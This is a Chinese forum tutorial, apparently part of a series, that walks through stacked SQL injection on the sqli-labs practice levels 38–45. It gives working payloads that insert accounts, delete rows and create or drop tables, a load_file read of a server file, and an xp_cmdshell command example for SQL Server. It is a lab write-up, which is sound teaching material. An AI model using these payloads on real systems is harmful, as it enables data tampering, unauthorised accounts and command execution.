用户
搜索
  • TA的每日心情
    开心
    7 小时前
  • 签到天数: 193 天

    连续签到: 2 天

    [LV.7]常住居民III

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    63

    主题

    127

    帖子

    3258

    魔法币
    收听
    0
    粉丝
    8
    注册时间
    2020-10-2

    积极活跃奖

    发表于 2021-8-4 17:15:16 01751
    本帖最后由 Johnson666 于 2021-8-5 16:52 编辑

    sqli-labs学习sql注入——堆叠注入篇

    本篇文章作者Johnson666,本篇文章参与i春秋作家连载计划所属从0到1团队,未经许可禁止转载。连载方向:web安全,内网安全

    目录

    1.sqli-labs学习sql注入——MySQL注入相关知识点+联合注入篇

    2.sqli-labs学习sql注入——GET和POST盲注篇+sql传马篇+增删改注入篇

    3.sqli-labs学习sql注入——绕过篇

    4.sqli-labs学习sql注入——HTTP头部注入篇

    5.sqli-labs学习sql注入——宽字节注入篇

    6.sqli-labs学习sql注入——堆叠注入篇

    7.sqli-labs学习sql注入——排序注入和排序堆叠注入篇

    8.sqli-labs学习sql注入——最后的挑战

    Page-3  (Stacked Injections)

    1.堆叠注入的知识点

    Stacked injections:中文叫做堆叠注入。国内有的称为堆查询注入,也有称之为堆叠注入。个人认为称之为堆叠注入更为准确。从名词的含义就可以看出来应该是一堆sql语句(多条)一起执行,而在真实的运用中也是这样的。我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多条一起使用。这个就叫做stacked injection。堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新的查询或者终止查询,就可以达到修改数据和调用存储过程的目的。

    1.堆叠注入的原理:

    在SQL中,分号(;)是用来表示一条sql语句的结束。那如果我们在 ;结束一个sql语句后继续构造下一条语句,会不会一起执行呢?因此这就产生了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别吗?区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句;而堆叠注入可以执行的是任意的语句。

    例如以下这个例子:
    用户提交:
    id=1;delete from users
    服务器端生成的sql语句为:(因未对输入的参数进行过滤)
    select * from users where id=1;delete from users

    当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

    2.堆叠注入的条件和局限性:

    首先要想有堆叠注入的条件,源码中必须要用到mysqli_multi_query(),那么我们此处就可以执行多个sql语句进行注入。一般后台查询数据库使用的语句都是用mysql_query(),所以堆叠注入在mysql上不常见。mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句。

    堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
    虽然前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美。在我们的web系统中,代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。
    因此,在读取数据的时候,建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息,不然像插入一条新的数据肯定要知道对应的表名和对应表的每个列名才能进行插入。

    3.利用堆叠注入日志写马和into outfile注射一句话木马:

    具体看https://bbs.ichunqiu.com/thread-61468-1-1.html

    4.各个数据库堆叠操作实例介绍:

    这里来介绍几个类型的数据库的相关用法:数据库的基本操作和增删改查。

    以下列出数据库相关堆叠注入的基本操作:

    1.MySQL数据库

    (1)新建一个表:select * from users where id=1;create table test like users;

    • create table like 产生与源表相同的表结构,包括索引和主键,数据需要用insert into 语句复制进去。

    结果:

    mysql> select * from users where id=1;create table test like users;
    1054 - Unknown column 'id' in 'where clause'
    Query OK, 0 rows affected (0.03 sec)

    (2)删除上面新建的test表:select * from users where id=1;drop table test;

    结果:

    mysql> select * from users where id=1;drop table test;
    1054 - Unknown column 'id' in 'where clause'
    Query OK, 0 rows affected (0.00 sec)

    (3)查询数据:select * from users where ip=1;select 1,2,3;

    结果:

    mysql> select * from users where ip=1;select 1,2,3;
    +----------+----+-----+
    | username | ip | ipc |
    +----------+----+-----+
    | a        |  1 |   1 |
    +----------+----+-----+
    1 row in set (0.03 sec)
    
    +---+---+---+
    | 1 | 2 | 3 |
    +---+---+---+
    | 1 | 2 | 3 |
    +---+---+---+
    1 row in set (0.03 sec)

    (4)加载文件:select * from users where id=1;select load_file('D:\phpStudy\PHPTutorial\WWW/index,php');

    结果:

    mysql> select * from users where id=1;select load_file('D:/phpStudy/PHPTutorial/WWW/index.php');
    1054 - Unknown column 'id' in 'where clause'
    +----------------------------------------------------+
    | load_file('D:/phpStudy/PHPTutorial/WWW/index.php') |
    +----------------------------------------------------+
    | <?php
    echo "Hello World";
    ?>                         |
    +----------------------------------------------------+
    1 row in set (0.04 sec)
    

    (5)修改数据:select * from users where id=1;insert into users(username,ip) values('name',5);

    结果:

    mysql> select * from users where id=1;insert into users(username,ip) values('name',5);
    1054 - Unknown column 'id' in 'where clause'
    Query OK, 1 row affected (0.00 sec)

    2.Sql Server数据库

    (1)增加数据表:select * from test;create table sc3(ss CHAR(8));

    结果:

    (2)删除数据表:select * from test;drop table sc3;

    结果:

    (3)查询数据:select 1,2,3;select * from test;

    结果:

    (4)修改数据:select * from test;update test set name='test' where id=3;

    结果:

    (5)sqlserver中最为重要的存储过程的执行:
    select * from test where id=1;exec master..xp_cmdshell 'ipconfig'

    结果:

    3.Oracle数据库

    oracle不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错。无效字符。后面的就不往下继续尝试了。

    4.Postgresql数据库

    (1)新建一个表:select * from user_test;create table user_data(id DATE);

    结果:

    可以看到user_data表已经建好。

    (2)删除上面新建的user_data表:select * from user_test;delete from user_data;

    结果:

    可以看到user_data表已经被删除了。

    (3)查询数据:select * from user_test;select 1,2,3;

    结果:

    (4)修改数据: select * from user_test;update user_test set name='modify' where name='张三';

    结果:

    Less-38:基于错误-GET-单引号-字符型-堆叠注入

    这一关还可以用union注入爆出数据,这里就构造一个payload既union注入又堆叠注入,这里要注意一下使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息,不然像插入一条新的数据肯定要知道对应的表名和对应表的每个列名才能进行插入:

    payload:http://127.0.0.1/sqli-labs-master/Less-38?id=-1' union select 1,2,database();insert into users values(16,'Johnson666','hacker');--+

    注意这里的第二句sql语句末尾有无;都能成功执行,因为末尾有注释符--+。具体可看Less-39的说明。以防万一末尾都加个;

    union注入成功,页面已经回显出库名了:

    这里再来数据库看看,堆叠注入成功,成功插入。那么如果在实战中我们就可以用这个自己插入的用户名和密码来登录目标系统了。

    Less-39:基于错误-GET-数字型-堆叠注入

    这一关和Less-38很相似,就只是变成了数字型注入。

    payload:http://127.0.0.1/sqli-labs-master/Less-39?id=-1 union select 1,database(),3;delete from users where id=16;

    注意数字型注入最后这个;很重要,不然堆叠注入是不能执行成功的,这里测试过了,最后不加;那条数据就没有被删除。而Less-38最后有个注释符--+,经过测试,最后的;可加可不加,都是能成功的;这里不加;,加注释符--+也是可以成功的。以防万一末尾都加个;

    union注入成功了,页面回显了库名。

    看看数据库,可以看到堆叠注入也成功了,Less-38我插入的那条数据被删除了。

    mysql> select * from users;
    +----+----------+------------+
    | id | username | password   |
    +----+----------+------------+
    |  1 | Dumb     | Dumb       |
    |  2 | Angelina | I-kill-you |
    |  3 | Dummy    | p@ssword   |
    |  4 | secure   | crappy     |
    |  5 | stupid   | stupidity  |
    |  6 | superman | genious    |
    |  7 | batman   | mob!le     |
    |  8 | admin    | 654321     |
    |  9 | admin1   | admin1     |
    | 10 | admin2   | admin2     |
    | 11 | admin3   | admin3     |
    | 12 | dhakkan  | dumbo      |
    | 14 | admin4   | admin4     |
    | 15 | admin'#  | 123456     |
    +----+----------+------------+
    14 rows in set (0.04 sec)

    Less-40:基于布尔型-GET-单引号小括号-字符型-盲注-堆叠注入

    payload:http://127.0.0.1/sqli-labs-master/Less-40?id=1');create table test like users;--+

    然后就创建出了一张新表test与源表users相同的表结构,包括索引和主键。

    mysql> desc test;
    +----------+-------------+------+-----+---------+----------------+
    | Field    | Type        | Null | Key | Default | Extra          |
    +----------+-------------+------+-----+---------+----------------+
    | id       | int(3)      | NO   | PRI | NULL    | auto_increment |
    | username | varchar(20) | NO   |     | NULL    |                |
    | password | varchar(20) | NO   |     | NULL    |                |
    +----------+-------------+------+-----+---------+----------------+
    3 rows in set (0.03 sec)

    Less-41:基于布尔型-GET-数字型-堆叠注入

    payload:http://127.0.0.1/sqli-labs-master/Less-41?id=-1 union select 1,database(),3;drop table test;

    mysql> desc test;
    1146 - Table 'security.test' doesn't exist

    Less-42:基于存储-POST-单引号-字符型-堆叠注入

    Forgot your password? || New User click here?点击进去都让我hack它,即没有忘记密码和注册功能,真硬核~

    登录界面源码:

    $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
    $password = $_POST["login_password"];

    修改密码源码:

    $username = $_SESSION["username"];
    $curr_pass = mysql_real_escape_string($_POST['current_password']);
    $pass = mysql_real_escape_string($_POST['password']);
    $re_pass = mysql_real_escape_string($_POST['re_password']);
    
    if($pass==$re_pass)
            {       
                    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

    update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化,所以不用考虑在更新密码处进行注入。

    而因为没有注册功能,不能将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。所以这里不能像第24关一样使用二次注入了。这关和二次注入的思路是不一样的。

    那么这关得用堆叠注入:

    用户名随便输,密码输入1',页面会出现报错:You have  an error in your SQL syntax; check the manual that corresponds to your  MySQL server version for the right syntax to use near ''1''' at line 1

    可以看出是单引号闭合。

    那么密码输入1';create table less42 like users#

    show tables;后可以看到成功创建了less42这张表:

    mysql> show tables;
    +--------------------+
    | Tables_in_security |
    +--------------------+
    | emails             |
    | less42             |
    | referers           |
    | uagents            |
    | users              |
    +--------------------+
    5 rows in set (0.03 sec)

    Less-43:基于存储-POST-单引号小括号-字符型-堆叠注入

    这一关与第42关相似,会有MySQL报错信息,只是闭合要用')

    用户名随便输,密码输入1');create table less43 like users;--+

    show tables;后可以看到成功创建了less43这张表:

    mysql> show tables;
    +--------------------+
    | Tables_in_security |
    +--------------------+
    | emails             |
    | less42             |
    | less43             |
    | referers           |
    | uagents            |
    | users              |
    +--------------------+
    6 rows in set (0.03 sec)

    Less-44:基于存储-POST-单引号-字符型-盲注-堆叠注入

    除了没有 MySQL 报错信息是盲注外,其他的没有变化。

    用户名随便输,密码输入1';insert into less42(id,username,password) values(44,'Less44','Less44');--+

    mysql> select * from less42;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    | 44 | Less44   | Less44   |
    +----+----------+----------+
    1 row in set (0.03 sec)

    Less-45:基于存储-POST-单引号小括号-字符型-盲注-堆叠注入

    和Less-44一样,只是闭合多了个小括号。

    用户名随便输,密码输入1');insert into less42(id,username,password) values(45,'Less45','Less45');--+

    mysql> select * from less42;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    | 44 | Less44   | Less44   |
    | 45 | Less45   | Less45   |
    +----+----------+----------+
    2 rows in set (0.04 sec)
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册